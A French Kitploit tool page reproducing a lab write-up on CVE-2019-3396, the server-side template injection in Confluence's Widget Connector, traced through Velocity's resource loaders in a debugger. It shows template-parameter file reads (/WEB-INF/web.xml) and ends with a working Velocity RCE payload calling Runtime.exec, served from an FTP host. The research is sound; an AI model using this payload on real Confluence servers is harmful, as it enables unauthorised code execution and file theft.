Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/tranphuc2005/cve-2019-3396
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubtranphuc2005/cve-2019-3396

CVE-2019-3396

Guide pas à pas d'analyse et d'exploitation pour CVE-2019-3396, une vulnérabilité critique SSTI dans Confluence Server & Data Center, incluant le débogage et l'exécution de payloads RCE.

Voir le dépôt
34il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-3396

🔎 Informations principales :

  • Produit affecté : Confluence Server & Data Center

  • Versions affectées : de 6.0.0 à 6.15.4

  • Sévérité : Critique (CVSS ~9.8)

  • Cause :

    • Confluence dispose du plugin Widget Connector (utilisé pour intégrer des vidéos et du contenu externe comme YouTube, Vimeo...).

    • Cette fonctionnalité ne contrôle pas correctement les entrées utilisateur, ce qui mène à une Server-Side Template Injection (SSTI).

    • Un attaquant peut envoyer un payload malveillant → Confluence effectue le rendu avec le moteur de templates Velocity → exécution de code sur le serveur.

1. Installation et démarrage du site

  • Installez une version vulnérable, par exemple la 6.9.0 :
root@kitploit:~
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
  • Suivez les étapes de configuration comme indiqué :
root@kitploit:~
https://nguyendt.hashnode.dev/confluence-cve-2019-3396
  • Une fois l’installation terminée, on obtient l’interface suivante :

1

2. Recherche du point vulnérable et débogage

2.1 Recherche du point vulnérable

  • Selon le POC, la fonctionnalité vulnérable se trouve dans Widget Connector (utilisé pour intégrer des vidéos et du contenu externe comme YouTube, Vimeo...)
  • Cherchons cette fonctionnalité :
  1. Cliquez sur Other macros

1

  1. Recherchez l’outil de résolution Widget Connector

1

  1. Saisissez le lien, remplissez les informations demandées, puis cliquez sur Preview

1

2.2 Configuration pour le débogage

  • Comme la description mentionne Widget Connector, essayons de le chercher dans le dossier source de Confluence

1

  • Ouvrez le fichier .jar avec Intellij IDEA
  • Placez des points d’arrêt aux endroits qui traitent la résolution du lien, puis lancez le débogage.

Déroulement du débogage

  • Lancez le débogage et placez un point d’arrêt dans com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class
  • Ici, on voit les paramètres
  • Appel de la classe DefaultRenderManager.class

1

  • Ici, la méthode getEmbeddedHtml() est utilisée
  • Retourne le code HTML permettant d’intégrer (embed) du contenu externe (vidéo, widget, document…) à partir d’une URL insérée par l’utilisateur dans une page Confluence
  • Elle appelle ensuite YoutubeRenderer

1

  • Entrez dans la classe YoutubeRenderer
  • Au niveau de cette méthode : getEmbeddedHtml(String url, Map<String, String> params)
  • url → le lien YouTube d’origine saisi par l’utilisateur
  • params → une map contenant les paramètres de configuration pour le rendu (par exemple : largeur, hauteur, template utilisé pour le rendu, etc.).

1

  • On continue avec les appels à getEmbedUrl(), setDefaultParam() et DefaultVelocityRenderService.render()
  • Concentrons-nous sur setDefaultParam()

1

  • Si _template n’existe pas → le template par défaut youtube.vm est assigné. => On peut donc ajouter soi-même _template au programme

  • Passons maintenant à DefaultVelocityRenderService.render()

  1. Objectif de la méthode

    • Reçoit url + les paramètres params.

    • Utilise le template Velocity (.vm) pour générer le HTML intégré (iframe, embed, …).

  2. Détermination du template

    • Si params contient _template → utilise ce template.

    • Sinon → utilise le template par défaut embed.vm.

  3. Crée le contexte par défaut avec MacroUtils.defaultVelocityContext().

  • Ajoute tous les paramètres de params dans le contexte :

    • Si la clé est tweetHtml → le HTML est conservé tel quel.

    • Sinon → encodage sécurisé avec GeneralUtil.htmlEncode().

  • Ajoute urlHtml, width, height au contexte (s’ils sont vides, valeurs par défaut 400 × 300).

1

  • Appel de VelocityUtils.getRenderedTemplate()

1

  • Passons maintenant à la classe VelocityUtils
  • Plus haut, getRenderedTemplate et getRenderedTemplateWithoutSwallowingErrors() sont appelées

1

  • Ensuite, getTemplate() est appelée

1

  • Ici, templateName correspond au _template mentionné plus haut.

  • Puis VelocityEngine.Template() est appelée

1

  • Dans la classe VelocityEngine, RunimeInstance.getTemplate() est ensuite appelée

1

RuntimeInstance (noyau Velocity) C’est le « cœur » de Velocity Engine. Il s’occupe de :

  • Initialiser le moteur (init)

  • Gérer la configuration, les macros, le parser, les directives, les gestionnaires d’événements…

  • Et surtout : gérer les ressources via ResourceManager

→ Autrement dit, RuntimeInstance ne charge pas lui-même les ressources, mais délègue cette tâche à resourceManager.

  • Ensuite, CompatibleVelocityResourceManager.getResource() est appelée

1

ConfigurableResourceManager (personnalisé par Confluence) C’est une implémentation de l’interface ResourceManager. Il est responsable de :

  • Gérer les resource loaders (file loader, classpath loader, URL loader…).

  • Gérer le globalCache (cache des templates selon resourceKey).

  • Charger/actualiser le template (fichier .vm) lorsque RuntimeInstance le demande.

1

root@kitploit:~
try {
    this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
    this.globalCache.remove(resourceKey);
    return this.getResource(resourceName, resourceType, encoding);
}
  • Lorsqu’une ressource est dans le cache, elle n’est pas renvoyée immédiatement : refreshResource(...) est appelé.

  • refreshResource compare la date de dernière modification sur le disque avec celle du cache.

  • Si le fichier a changé → la ressource en cache est invalidée → rechargée depuis le disque → le cache est mis à jour.

👉 Vous n’avez donc pas besoin de modifier resourceKey manuellement. Le mécanisme de refresh garantit que lorsque le template change, le cache est également mis à jour.

Ajoutez _template et renvoyez la requête

1

  • On voit la liste des instances de ResourceLoader (objets déjà initialisés) dans Velocity

1

1

  • Ici, nous ne nous intéressons qu’à FileResourceLoader et ClasspathResourceLoader

1. Avec FileResourceLoader

StringUtils.normalizePath() est appelé pour bloquer les traversées de chemin (path traversal)

1

  • Le contenu de normalizePath est visible sur l’image

1

  • Essayez de lire le fichier /WEB-INF/web.xml et vous verrez que le fichier est chargé avec succès.

1

  • Mais il reste impossible de sortir du répertoire de Confluence car /../ est bloqué.
  • Continuons avec ClasspathResourceLoader

2. ClasspathResourceLoader

1

  • Suivi jusqu’à ClassUtils.getResourceAsStream

1

  • Il appelle findResource() de /org/apache/catalina/loader/WebappClassLoaderBase.class

1

  • Il appelle ensuite super.findResource(), qui retourne une URL ; l’objet peut donc être récupéré.

1

1

  • url.openStream() est appelé pour récupérer les données

1

  • Enfin, les données sont injectées dans le rendu Velocity.

1

  • Si, dans un cas réel, vous ne connaissez pas le chemin exact, vous pouvez utiliser le schéma de fichier (file) de Java pour obtenir la liste des répertoires.

1

Avec connexion sortante (outbound)

Payload exécuté

root@kitploit:~
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
  $scan.next()
#end
  • $runtime.exec("id") → exécute la commande système "id" sur Ubuntu.
  • Ouvrez un service FTP avec la commande :
root@kitploit:~
python3 -m pyftpdlib -p 2005

1

Exécution :

1

Télécharger l’outil